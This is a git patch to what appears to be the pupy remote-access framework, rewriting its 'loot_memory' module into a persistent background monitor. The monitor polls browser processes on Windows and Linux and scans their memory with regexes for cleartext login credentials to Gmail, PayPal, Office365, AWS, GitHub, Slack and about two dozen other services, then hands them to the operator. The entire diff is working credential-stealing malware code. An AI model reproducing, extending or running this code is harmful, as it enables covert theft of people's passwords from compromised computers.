From 8d2b0716849c52ee63f494c89d74d29b718f609f Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Tue, 2 Oct 2018 11:44:03 +0200 Subject: [PATCH] loot_memory rebuild using the hasmon module --- pupy/modules/loot_memory.py | 38 +++++-- pupy/packages/all/loot_memory.py | 172 +++++++++++++++++++------------ 2 files changed, 136 insertions(+), 74 deletions(-) diff --git a/pupy/modules/loot_memory.py b/pupy/modules/loot_memory.py index 0ebc606a..e9ff3962 100644 --- a/pupy/modules/loot_memory.py +++ b/pupy/modules/loot_memory.py @@ -6,19 +6,37 @@ __class_name__="LootMemory" @config(cat="creds", compat=["windows", "linux"]) class LootMemory(PupyModule): - """ - crawl processes memory and look for cleartext credentials - """ - dependencies=['memorpy', 'loot_memory'] + ''' + Crawl processes memory and look for cleartext credentials + ''' + unique_instance = True + dependencies = ['memorpy', 'loot_memory'] @classmethod def init_argparse(cls): cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__) + cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)') + cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump']) def run(self, args): - with redirected_stdio(self): - loot=self.client.conn.modules["loot_memory"].dump_browser_passwords() - for browser, dic in loot.iteritems(): - self.info("%s crawled :"%browser) - for i, passwords in dic.iteritems(): - self.success("%s:\n\t%s"%(i, '\n\t'.join(passwords))) + start = self.client.remote('loot_memory', 'start') + stop = self.client.remote('loot_memory', 'stop', False) + dump = self.client.remote('loot_memory', 'dump') + + if args.action == 'start': + ok = start(poll=args.poll) + if ok: + self.success('PwdMon has been started') + else: + self.error('PwdMon has not been started') + + elif args.action == 'dump': + results = dump() + if results is None: + self.error('PwdMon is not started') + else: + for proc, service, pwd in results: + self.success('[{}][{}]{}'.format(proc, service, pwd)) + + elif args.action == 'stop': + stop() diff --git a/pupy/packages/all/loot_memory.py b/pupy/packages/all/loot_memory.py index 10a92f77..309954ee 100644 --- a/pupy/packages/all/loot_memory.py +++ b/pupy/packages/all/loot_memory.py @@ -7,75 +7,119 @@ This script uses memorpy to dumps cleartext passwords from browser's memory It has been tested on both windows 10 and ubuntu 16.04 The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz """ +import psutil +import pupy +import sys +import time from memorpy import MemWorker, ProcessException -import psutil -import sys -#from https://github.com/putterpanda/mimikittenz -mimikittenz_regex=[ - ("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="), - ("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"), - ("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="), - ("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="), - ("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="), - ("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"), - ("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="), - ("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"), - ("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"), - ("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"), - ("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="), - ("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="), - ("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="), - ("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="), - ("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="), - ("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"), - ("Malwr","&username=.{1,32}&password=.{1,22}&next="), - ("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"), - ("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"), - ("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"), - ("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"), - ("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"), - ("Redmine","username=.{1,50}&password=.{1,50}&login=Login"), - ("Github","%3D%3D&login=.{1,50}&password=.{1,50}"), - ("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"), - ("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"), - ("Cpanel","user=.{1,50}&pass=.{1,50}"), -] -def dump_browser_passwords(): - # start_time=time.time() - loot={} - if sys.platform=="win32": - browser_list=["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"] - else: - browser_list=["firefox", "iceweasel", "chromium", "chrome"] - for proc in psutil.process_iter(): - try: - if proc.name().lower() in [x.lower() for x in browser_list]: - browser=proc.name() - print "process found: %s"%browser +def start(poll=20): + if pupy.manager.active(PwdMon): + return False + + try: + pupy.manager.create( + PwdMon + ) + except: + return False + + return True + +def dump(): + mon = pupy.manager.get(PwdMon) + if mon: + return mon.results + +def stop(): + mon = pupy.manager.get(PwdMon) + if mon: + pupy.manager.stop(PwdMon) + return mon.results + + +class PwdMon(pupy.Task): + def __init__(self, manager, poll=60): + super(PwdMon, self).__init__(manager) + self.duplicates = set() + self.poll = poll + + if sys.platform == "win32": + self.browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"] + else: + # self.browser_list = ["firefox", "iceweasel", "chromium", "chrome"] + self.browser_list = ["firefox"] + + # from https://github.com/putterpanda/mimikittenz + self.mimikittenz_regex = [ + ("Google","identifier=.{1,99}&continue=.{1,99}&password=.{1,99}&"), + ("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="), + ("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"), + ("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="), + ("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="), + ("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="), + ("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"), + ("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="), + ("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"), + ("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"), + ("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"), + ("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="), + ("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="), + ("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="), + ("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="), + ("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="), + ("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"), + ("Malwr","&username=.{1,32}&password=.{1,22}&next="), + ("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"), + ("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"), + ("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"), + ("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"), + ("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"), + ("Redmine","username=.{1,50}&password=.{1,50}&login=Login"), + ("Github","%3D%3D&login=.{1,50}&password=.{1,50}"), + ("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"), + ("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"), + ("Cpanel","user=.{1,50}&pass=.{1,50}"), + ] + + def dump_browser_passwords(self): + + for proc in psutil.process_iter(): + if proc.name().lower() in [x.lower() for x in self.browser_list]: try: - mw=MemWorker(pid=proc.pid) + mw = MemWorker(pid=proc.pid) except ProcessException as e: - print e continue - loot[browser]={} # browser found - for service, regex in mimikittenz_regex: - for x in mw.mem_search(regex, ftype='re'): - try: - passwd=x.read(type="string", maxlen=100, errors='ignore') - if service not in loot[browser]: - loot[browser]={service: [passwd]} - else: - loot[browser][service].append(passwd) - except Exception as e: - print e - pass - except Exception as e: - print e - #print "All passwords dumped in %ss"%(time.time()-start_time) - return loot -if __name__=="__main__": - print dump_browser_passwords() + for service, regex in self.mimikittenz_regex: + try: + for x in mw.mem_search(regex, ftype='re'): + passwd = None + if type(x) == tuple: + for i in x: + try: + passwd = i.read(type="string", maxlen=100, errors='ignore') + except Exception as e: + continue + else: + try: + passwd = x.read(type="string", maxlen=100, errors='ignore') + except Exception as e: + pass + + if passwd: + result = (proc.name(), service, passwd) + if result not in self.duplicates: + self.duplicates.add(result) + yield result + except Exception as e: + continue + + def task(self): + while self.active: + for proc, service, pwd in self.dump_browser_passwords(): + self.append((proc, service, pwd)) + + time.sleep(self.poll)